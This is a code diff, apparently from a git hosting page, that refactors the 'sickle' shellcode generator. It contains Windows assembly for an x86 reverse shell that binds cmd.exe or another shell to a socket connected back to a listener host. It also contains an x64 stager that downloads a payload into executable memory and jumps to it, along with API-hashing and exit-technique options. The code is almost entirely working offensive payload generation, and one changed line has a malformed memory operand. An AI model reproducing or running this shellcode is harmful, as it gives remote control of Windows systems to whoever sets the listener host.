sin_addr = hex(convert.ip_str_to_inet_addr(self.lhost))
|
||||
|
||||
shellcode += f"""
|
||||
src = f"""
|
||||
; int WSAStartup([in] WORD wVersionRequired,
|
||||
; [out] LPWSADATA lpWSAData);
|
||||
call_WSAStartup:
|
||||
mov rcx, 0x202
|
||||
lea rdx, [rbp - {self.storage_offsets['wsaData']}]
|
||||
mov rax, [rbp - {self.storage_offsets['WSAStartup']}]
|
||||
call rax
|
||||
|
||||
; SOCKET WSAAPI socket([in] int af,
|
||||
; [in] int type,
|
||||
; [in] int protocol);
|
||||
call_socket:
|
||||
mov rcx, {ws2def.AF_INET}
|
||||
xor rdx, rdx
|
||||
@@ -276,6 +138,9 @@ call_socket:
|
||||
call rax
|
||||
mov [rbp - {self.storage_offsets['sockfd']}], rax
|
||||
|
||||
; int WSAAPI connect([in] SOCKET s,
|
||||
; [in] const sockaddr *name,
|
||||
; [in] int namelen);
|
||||
call_connect:
|
||||
mov rcx, rax
|
||||
mov r8, {ctypes.sizeof(ws2def.sockaddr)}
|
||||
@@ -289,53 +154,57 @@ call_connect:
|
||||
|
||||
xor rdx, rdx
|
||||
mov [rbp - {self.storage_offsets['lpvShellcode']}], rdx
|
||||
mov [rbp - {self.storage_offsets['pResponse']}], rdx
|
||||
|
||||
; int recv([in] SOCKET s,
|
||||
; [out] char *buf,
|
||||
; [in] int len,
|
||||
; [in] int flags);
|
||||
lea rdx, [rbp - {self.storage_offsets['dwSize']}]
|
||||
mov r8, 0x08
|
||||
call_recv:
|
||||
mov rcx, [rbp - {self.storage_offsets['sockfd']}]
|
||||
xor r9, r9
|
||||
mov rax, [rbp - {self.storage_offsets['recv']}]
|
||||
call rax
|
||||
|
||||
cmp rax, 0x10
|
||||
jg download_complete
|
||||
|
||||
; LPVOID VirtualAlloc([in, optional] LPVOID lpAddress,
|
||||
; [in] SIZE_T dwSize,
|
||||
; [in] DWORD flAllocationType,
|
||||
; [in] DWORD flProtect);
|
||||
call_VirtualAlloc:
|
||||
mov rcx, [rbp - {self.storage_offsets['pResponse']}]
|
||||
mov rdx, {self.sock_buffer_size}
|
||||
mov rcx, [rbp - {self.storage_offsets['lpvShellcode']}]
|
||||
mov rdx, [rbp - {self.storage_offsets['dwSize']}]
|
||||
mov r8, {winnt.MEM_COMMIT | winnt.MEM_RESERVE}
|
||||
mov r9, {winnt.PAGE_EXECUTE_READWRITE}
|
||||
mov rax, [rbp - {self.storage_offsets['VirtualAlloc']}]
|
||||
call rax
|
||||
|
||||
mov [rbp - {self.storage_offsets['lpvShellcode']}] , rax
|
||||
mov [rbp - {self.storage_offsets['pResponse']}], rax
|
||||
mov [rbp - {self.storage_offsets['lpvShellcode']}], rax
|
||||
mov rdx, rax
|
||||
mov r8, [rbp - {self.storage_offsets['dwSize']}]
|
||||
|
||||
call_recv:
|
||||
mov rcx, [rbp - {self.storage_offsets['sockfd']}]
|
||||
mov rdx, [rbp - {self.storage_offsets['pResponse']}]
|
||||
mov r8, 0x5000
|
||||
xor r9, r9
|
||||
mov rax, [rbp - {self.storage_offsets['recv']}]
|
||||
call rax
|
||||
|
||||
check_complete:
|
||||
test eax, eax
|
||||
jle download_complete
|
||||
|
||||
inc_ptr:
|
||||
mov r8, [rbp - {self.storage_offsets['pResponse']}]
|
||||
add r8, rax
|
||||
mov [rbp - {self.storage_offsets['pResponse']}], r8
|
||||
jmp call_recv
|
||||
|
||||
download_complete:
|
||||
jmp [rbp - {self.storage_offsets['lpvShellcode']}]
|
||||
"""
|
||||
jmp [rbp - {self.storage_offsets['lpvShellcode']}]\n"""
|
||||
|
||||
shellcode += self.get_kernel32()
|
||||
|
||||
shellcode += self.lookup_function()
|
||||
|
||||
return shellcode
|
||||
return src
|
||||
|
||||
def get_shellcode(self):
|
||||
"""Generates shellcode
|
||||
"""
|
||||
|
||||
generator = Assembler(Shellcode.arch)
|
||||
win_stubs = stubhub.WinRawr(self.storage_offsets,
|
||||
self.dependencies,
|
||||
self.stack_space,
|
||||
None)
|
||||
|
||||
src = self.generate_source()
|
||||
main_src = self.gen_main()
|
||||
src = win_stubs.gen_source(main_src)
|
||||
shellcode = generator.get_bytes_from_asm(src)
|
||||
|
||||
return generator.get_bytes_from_asm(src)
|
||||
return shellcode
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
import sys
|
||||
|
||||
from sickle.common.lib.reversing.assembler import Assembler
|
||||
from sickle.common.lib.generic.modparser import argument_check
|
||||
|
||||
class Shellcode():
|
||||
|
||||
@@ -39,7 +38,7 @@ class Shellcode():
|
||||
return
|
||||
|
||||
def generate_source(self):
|
||||
"""Generates source code to be assembled by the keystone engine
|
||||
"""Returns assembly source code for the main functionality of the stub
|
||||
"""
|
||||
|
||||
shellcode = """
|
||||
@@ -64,7 +63,7 @@ class Shellcode():
|
||||
return shellcode
|
||||
|
||||
def get_shellcode(self):
|
||||
"""Generates Kernel Token Stealing Stub
|
||||
"""Generates Shellcode
|
||||
"""
|
||||
|
||||
return self.builder.get_bytes_from_asm(self.generate_source())
|
||||
|
||||
@@ -5,14 +5,12 @@ import struct
|
||||
from sickle.common.lib.generic import convert
|
||||
from sickle.common.lib.generic import modparser
|
||||
from sickle.common.lib.programmer import builder
|
||||
from sickle.common.lib.programmer import stubhub
|
||||
|
||||
from sickle.common.lib.reversing.assembler import Assembler
|
||||
|
||||
from sickle.common.headers.windows import (
|
||||
winnt,
|
||||
ntdef,
|
||||
ws2def,
|
||||
winternl,
|
||||
winsock2,
|
||||
processthreadsapi,
|
||||
)
|
||||
@@ -51,6 +49,20 @@ class Shellcode():
|
||||
arguments["LPORT"]["optional"] = "yes"
|
||||
arguments["LPORT"]["description"] = "Listening port on listener host"
|
||||
|
||||
arguments["SHELL"] = {}
|
||||
arguments["SHELL"]["optional"] = "yes"
|
||||
arguments["SHELL"]["description"] = "Shell environment (powershell.exe, cmd.exe, etc)"
|
||||
|
||||
advanced = {}
|
||||
advanced["EXITFUNC"] = {}
|
||||
advanced["EXITFUNC"]["optional"] = "yes"
|
||||
advanced["EXITFUNC"]["description"] = "Exit technique"
|
||||
|
||||
advanced["EXITFUNC"]["options"] = { "terminate": "Terminates the process and all of its threads",
|
||||
"func": "Have the shellcode operate as function",
|
||||
"thread": "Exit as a thread",
|
||||
"process": "Exit as a process" }
|
||||
|
||||
def __init__(self, arg_object):
|
||||
|
||||
self.arg_list = arg_object["positional arguments"]
|
||||
@@ -59,7 +71,6 @@ class Shellcode():
|
||||
"Kernel32.dll": [
|
||||
"LoadLibraryA",
|
||||
"CreateProcessA",
|
||||
"TerminateProcess",
|
||||
],
|
||||
"Ws2_32.dll": [
|
||||
"WSAStartup",
|
||||
@@ -68,12 +79,14 @@ class Shellcode():
|
||||
]
|
||||
}
|
||||
|
||||
self.set_args()
|
||||
|
||||
sc_args = builder.init_sc_args(self.dependencies)
|
||||
sc_args.update({
|
||||
"wsaData" : 0x00,
|
||||
"name" : ctypes.sizeof(ws2def.sockaddr),
|
||||
"lpStartupInfo" : ctypes.sizeof(processthreadsapi._STARTUPINFOA),
|
||||
"lpCommandLine" : len("cmd\x00"),
|
||||
"lpCommandLine" : self.shell_env_len,
|
||||
"lpProcessInformation" : 0x00,
|
||||
})
|
||||
|
||||
@@ -82,194 +95,63 @@ class Shellcode():
|
||||
|
||||
return
|
||||
|
||||
def get_kernel32(self):
|
||||
"""Generates stub for obtaining the base address of Kernel32.dll
|
||||
def set_args(self):
|
||||
"""Configure the arguments that may be used by the shellcode stub
|
||||
"""
|
||||
|
||||
stub = f"""
|
||||
getKernel32:
|
||||
mov dl, 0x4b
|
||||
getPEB:
|
||||
xor ebx, ebx
|
||||
xor ecx, ecx
|
||||
mov bl, 0x30
|
||||
mov edi, fs:[ebx]
|
||||
mov edi, [edi + {winternl._PEB.Ldr.offset}]
|
||||
mov edi, [edi + {winternl._PEB_LDR_DATA.InLoadOrderModuleList.offset}]
|
||||
search:
|
||||
mov eax, [edi + {winternl._LDR_DATA_TABLE_ENTRY.DllBase.offset}]
|
||||
mov esi, [edi + {winternl._LDR_DATA_TABLE_ENTRY.BaseDllName.offset + ntdef._UNICODE_STRING.Buffer.offset}]
|
||||
mov edi, [edi]
|
||||
cmp [esi + 0x18], cx
|
||||
jne search
|
||||
cmp [esi], dl
|
||||
jne search
|
||||
found:
|
||||
"""
|
||||
|
||||
return stub
|
||||
|
||||
def lookup_function(self):
|
||||
"""Generates the stub responsible for obtaining the base address of a function
|
||||
"""
|
||||
|
||||
stub = f"""
|
||||
lookupFunction:
|
||||
push ebp
|
||||
mov ebp, esp
|
||||
sub esp, 0x08
|
||||
xor ebx, ebx
|
||||
mov [ebp - 0x04], ebx ; [EBP+0x08] will serve as a temporary register (x64 has less registers)
|
||||
mov [ebp - 0x08], edx ; Argv passed into lookupFunction
|
||||
mov ebx, [edi + {winnt._IMAGE_DOS_HEADER.e_lfanew.offset}]
|
||||
add ebx, {winnt._IMAGE_NT_HEADERS.OptionalHeader.offset + winnt._IMAGE_OPTIONAL_HEADER.DataDirectory.offset}
|
||||
add ebx, edi
|
||||
mov eax, [ebx]
|
||||
mov ebx, edi
|
||||
add ebx, eax
|
||||
mov eax, [ebx + {winnt._IMAGE_EXPORT_DIRECTORY.AddressOfFunctions.offset}]
|
||||
mov edx, edi
|
||||
add edx, eax
|
||||
mov ecx, [ebx + {winnt._IMAGE_EXPORT_DIRECTORY.NumberOfFunctions.offset}]
|
||||
mov [ebp - 0x04], ebx ; Backup EBX since we are going to XOR it
|
||||
parseNames:
|
||||
jecxz error
|
||||
dec ecx
|
||||
mov eax, [edx + ecx * 4]
|
||||
mov esi, edi
|
||||
add esi, eax
|
||||
xor eax, eax
|
||||
xor ebx, ebx
|
||||
cld
|
||||
calcHash:
|
||||
lodsb
|
||||
test al, al
|
||||
jz calcDone
|
||||
ror ebx, 0xD
|
||||
add ebx, eax
|
||||
jmp calcHash
|
||||
calcDone:
|
||||
cmp ebx, [ebp - 0x08]
|
||||
jnz parseNames
|
||||
findAddress:
|
||||
mov ebx, [ebp - 0x04] ; Restore EBX value prevously saved
|
||||
mov edx, [ebx + {winnt._IMAGE_EXPORT_DIRECTORY.AddressOfNames.offset}]
|
||||
add edx, edi
|
||||
xor eax, eax
|
||||
mov ax, [edx + ecx * 2]
|
||||
mov edx, [ebx + {winnt._IMAGE_EXPORT_DIRECTORY.NumberOfNames.offset}]
|
||||
add edx, edi
|
||||
mov eax, [edx + eax * 4]
|
||||
add eax, edi
|
||||
error:
|
||||
leave
|
||||
ret
|
||||
"""
|
||||
|
||||
return stub
|
||||
|
||||
def load_library(self, lib):
|
||||
"""Generates the stub to load a library not currently loaded into a process
|
||||
"""
|
||||
|
||||
lists = convert.from_str_to_xwords(lib, 0x04)
|
||||
write_index = self.storage_offsets["functionName"]
|
||||
|
||||
src = "\nload_library_{}:\n".format(lib.rstrip(".dll"))
|
||||
|
||||
for i in range(len(lists["DWORD_LIST"])):
|
||||
src += " mov ecx, 0x{}\n".format( struct.pack('<L', lists["DWORD_LIST"][i]).hex() )
|
||||
src += " mov [ebp-{}], ecx\n".format(hex(write_index))
|
||||
write_index -= 4
|
||||
|
||||
for i in range(len(lists["WORD_LIST"])):
|
||||
src += " mov cx, 0x{}\n".format( struct.pack('<H', lists["WORD_LIST"][i]).hex() )
|
||||
src += " mov [ebp-{}], cx\n".format(hex(write_index))
|
||||
write_index -= 2
|
||||
|
||||
for i in range(len(lists["BYTE_LIST"])):
|
||||
src += " mov cl, {}\n".format( hex(lists["BYTE_LIST"][i]) )
|
||||
src += " mov [ebp-{}], cl\n".format(hex(write_index))
|
||||
write_index -= 1
|
||||
|
||||
src += f"""
|
||||
xor ecx, ecx
|
||||
mov [ebp - {write_index}], cl
|
||||
lea ecx, [ebp - {self.storage_offsets['functionName']}]
|
||||
push ecx
|
||||
mov eax, [ebp - {self.storage_offsets['LoadLibraryA']}]
|
||||
call eax
|
||||
"""
|
||||
|
||||
return src
|
||||
|
||||
def resolve_functions(self):
|
||||
"""This function is responsible for loading all libraries and resolving respective functions
|
||||
"""
|
||||
|
||||
stub = ""
|
||||
for lib, imports in self.dependencies.items():
|
||||
if (lib != "Kernel32.dll"):
|
||||
stub += self.load_library(lib)
|
||||
stub += """
|
||||
mov edi, eax
|
||||
"""
|
||||
|
||||
for func in range(len(imports)):
|
||||
stub += f"""
|
||||
get_{imports[func]}:
|
||||
mov edx, {convert.from_str_to_win_hash(imports[func])}
|
||||
call lookupFunction
|
||||
mov [ebp - {self.storage_offsets[imports[func]]}], eax
|
||||
"""
|
||||
|
||||
return stub
|
||||
|
||||
def generate_source(self):
|
||||
"""Returns bytecode generated by the keystone engine.
|
||||
"""
|
||||
|
||||
argv_dict = modparser.argument_check(Shellcode.arguments, self.arg_list)
|
||||
all_args = Shellcode.arguments
|
||||
all_args.update(Shellcode.advanced)
|
||||
argv_dict = modparser.argument_check(all_args, self.arg_list)
|
||||
if (argv_dict == None):
|
||||
exit(-1)
|
||||
|
||||
if ("LPORT" not in argv_dict.keys()):
|
||||
lport = 4444
|
||||
# Set the shell environment that will be used by the shellcode. We must
|
||||
# ensure to NULL terminate it.
|
||||
if "SHELL" not in argv_dict.keys():
|
||||
self.shell = "cmd.exe"
|
||||
else:
|
||||
lport = int(argv_dict["LPORT"])
|
||||
self.shell = argv_dict["SHELL"]
|
||||
|
||||
self.shell += "\x00"
|
||||
while (len(self.shell) % 8) != 0:
|
||||
self.shell += "\x00"
|
||||
|
||||
sin_addr = hex(convert.ip_str_to_inet_addr(argv_dict['LHOST']))
|
||||
sin_port = struct.pack('<H', lport).hex()
|
||||
# Document the size of the shell environment
|
||||
self.shell_env_len = len(self.shell)
|
||||
|
||||
# Configure the options used by the host to obtain the callback
|
||||
if ("LPORT" not in argv_dict.keys()):
|
||||
self.lport = 4242
|
||||
else:
|
||||
self.lport = int(argv_dict["LPORT"])
|
||||
|
||||
self.lhost = argv_dict['LHOST']
|
||||
|
||||
# Set the EXITFUNC and update the necessary dependencies
|
||||
if "EXITFUNC" not in argv_dict.keys():
|
||||
self.exit_func = "terminate"
|
||||
else:
|
||||
self.exit_func = argv_dict["EXITFUNC"]
|
||||
|
||||
if self.exit_func == "terminate":
|
||||
self.dependencies["Kernel32.dll"] += "TerminateProcess",
|
||||
elif self.exit_func == "thread":
|
||||
self.dependencies["ntdll.dll"] = "RtlExitUserThread",
|
||||
elif self.exit_func == "process":
|
||||
self.dependencies["Kernel32.dll"] += "ExitProcess",
|
||||
|
||||
return 0
|
||||
|
||||
def gen_main(self):
|
||||
"""Returns assembly source code for the main functionality of the stub
|
||||
"""
|
||||
|
||||
# Setup the members of the sockaddr structure
|
||||
sin_addr = hex(convert.ip_str_to_inet_addr(self.lhost))
|
||||
sin_port = struct.pack('<H', self.lport).hex()
|
||||
sin_family = struct.pack('>H', ws2def.AF_INET).hex()
|
||||
|
||||
shellcode = f"""
|
||||
_start:
|
||||
push ebp
|
||||
mov ebp, esp
|
||||
|
||||
; Allocate the stack space with the use of AL of EAX in order to avoid a NULL byte
|
||||
xor eax, eax
|
||||
mov al, {self.stack_space}
|
||||
sub esp, eax
|
||||
"""
|
||||
|
||||
shellcode += self.get_kernel32()
|
||||
|
||||
shellcode += """
|
||||
jmp resolveFunctions
|
||||
"""
|
||||
|
||||
shellcode += self.lookup_function()
|
||||
|
||||
shellcode += """
|
||||
resolveFunctions:
|
||||
mov edi, eax
|
||||
"""
|
||||
|
||||
shellcode += self.resolve_functions()
|
||||
|
||||
shellcode += f"""
|
||||
src = f"""
|
||||
; EAX => WSAStartup([in] WORD wVersionRequired,
|
||||
; [out] LPWSADATA lpWSAData);
|
||||
call_WSAStartup:
|
||||
@@ -304,22 +186,12 @@ call_WSASocketA:
|
||||
push ecx
|
||||
call eax
|
||||
|
||||
mov esi, eax ; Save the socket file descriptor (sockfd)
|
||||
"""
|
||||
mov esi, eax ; Save the socket file descriptor (sockfd)\n"""
|
||||
|
||||
# Generate a value that will be XOR'd by 0xFFFFFFFF in order to get the
|
||||
# original value for:
|
||||
#
|
||||
# sin_port | sin_family
|
||||
# STARTF_USESTDHANDLES
|
||||
# "cmd"
|
||||
#
|
||||
# These values will then have to be XOR'd by 0xFFFFFFFF
|
||||
xor_sockaddr = hex(int(f"{sin_port}{sin_family}", 16) ^ 0xFFFFFFFF)
|
||||
xor_std_handles = hex(int(f"{processthreadsapi.STARTF_USESTDHANDLES}", 16) ^ 0xFFFFFFFF)
|
||||
xor_cmd = hex(0x646d63 ^ 0xFFFFFFFF)
|
||||
sockaddr = hex(int(f"{sin_port}{sin_family}", 16))
|
||||
std_handles = hex(int(f"{processthreadsapi.STARTF_USESTDHANDLES}", 16))
|
||||
|
||||
shellcode += f"""
|
||||
src += f"""
|
||||
; EAX => connect([in] SOCKET s,
|
||||
; [in] const sockaddr *name,
|
||||
; [in] int namelen);
|
||||
@@ -329,8 +201,7 @@ call_connect:
|
||||
push ecx
|
||||
mov dword ptr [ebp - {self.storage_offsets['name'] - 0x04}], {sin_addr}
|
||||
|
||||
mov eax, 0xffffffff
|
||||
xor eax, {xor_sockaddr}
|
||||
mov eax, {sockaddr}
|
||||
|
||||
mov dword ptr [ebp - {self.storage_offsets['name']}], eax
|
||||
lea ecx, [ebp - {self.storage_offsets['name']}]
|
||||
@@ -353,8 +224,7 @@ memsetStructBuffer:
|
||||
initMembers:
|
||||
mov al, {ctypes.sizeof(processthreadsapi._STARTUPINFOA)}
|
||||
mov [ebx], eax
|
||||
mov eax, 0xffffffff
|
||||
xor eax, {xor_std_handles}
|
||||
mov eax, {std_handles}
|
||||
mov [ebx + {processthreadsapi._STARTUPINFOA.dwFlags.offset}], eax
|
||||
mov [ebx + {processthreadsapi._STARTUPINFOA.hStdInput.offset}], esi
|
||||
mov [ebx + {processthreadsapi._STARTUPINFOA.hStdOutput.offset}], esi
|
||||
@@ -370,7 +240,28 @@ initMembers:
|
||||
; [in, optional] LPCSTR lpCurrentDirectory,
|
||||
; [in] LPSTARTUPINFOA lpStartupInfo,
|
||||
; [out] LPPROCESS_INFORMATION lpProcessInformation);
|
||||
call_CreateProccessA:
|
||||
call_CreateProccessA:\n"""
|
||||
|
||||
cmd_buffer = convert.from_str_to_xwords(self.shell, 0x04)
|
||||
write_index = self.storage_offsets['lpCommandLine']
|
||||
|
||||
for i in range(len(cmd_buffer["DWORD_LIST"])):
|
||||
src += " mov ecx, 0x{}\n".format( struct.pack('<L', cmd_buffer["DWORD_LIST"][i]).hex() )
|
||||
src += " mov [ebp-{}], ecx\n".format(hex(write_index))
|
||||
write_index -= 4
|
||||
|
||||
for i in range(len(cmd_buffer["WORD_LIST"])):
|
||||
src += " mov cx, 0x{}\n".format( struct.pack('<H', cmd_buffer["WORD_LIST"][i]).hex() )
|
||||
src += " mov [ebp-{}], cx\n".format(hex(write_index))
|
||||
write_index -= 2
|
||||
|
||||
for i in range(len(cmd_buffer["BYTE_LIST"])):
|
||||
src += " mov cl, {}\n".format( hex(cmd_buffer["BYTE_LIST"][i]) )
|
||||
src += " mov [ebp-{}], cl\n".format(hex(write_index))
|
||||
write_index -= 1
|
||||
|
||||
src += f""" xor ecx, ecx
|
||||
mov [ebp - {write_index}, cl
|
||||
lea ecx, [ebp - {self.storage_offsets['lpProcessInformation']}]
|
||||
push ecx
|
||||
push ebx
|
||||
@@ -384,34 +275,26 @@ call_CreateProccessA:
|
||||
push ecx
|
||||
push ecx
|
||||
lea ecx, [ebp - {self.storage_offsets['lpCommandLine']}]
|
||||
mov eax, 0xffffffff
|
||||
xor eax, {xor_cmd}
|
||||
mov dword ptr [ecx], eax
|
||||
push ecx
|
||||
xor ecx, ecx
|
||||
push ecx
|
||||
mov eax, [ebp - {self.storage_offsets['CreateProcessA']}]
|
||||
call eax
|
||||
call eax\n"""
|
||||
|
||||
; EAX => TerminateProcess([in] HANDLE hProcess,
|
||||
; [in] UINT uExitCode);
|
||||
call_TerminateProcess:
|
||||
xor ecx, ecx
|
||||
push ecx
|
||||
dec ecx
|
||||
push ecx
|
||||
mov eax, [ebp - {self.storage_offsets['TerminateProcess']}]
|
||||
call eax
|
||||
"""
|
||||
|
||||
return shellcode
|
||||
return src
|
||||
|
||||
def get_shellcode(self):
|
||||
"""Generates Shellcode
|
||||
"""
|
||||
|
||||
generator = Assembler(Shellcode.arch)
|
||||
win_stubs = stubhub.WinRawr(self.storage_offsets,
|
||||
self.dependencies,
|
||||
self.stack_space,
|
||||
self.exit_func)
|
||||
|
||||
src = self.generate_source()
|
||||
main_src = self.gen_main()
|
||||
src = win_stubs.gen_source(main_src)
|
||||
shellcode = generator.get_bytes_from_asm(src)
|
||||
|
||||
return generator.get_bytes_from_asm(src)
|
||||
return shellcode
|
||||
|
||||
Reference in New Issue
Block a user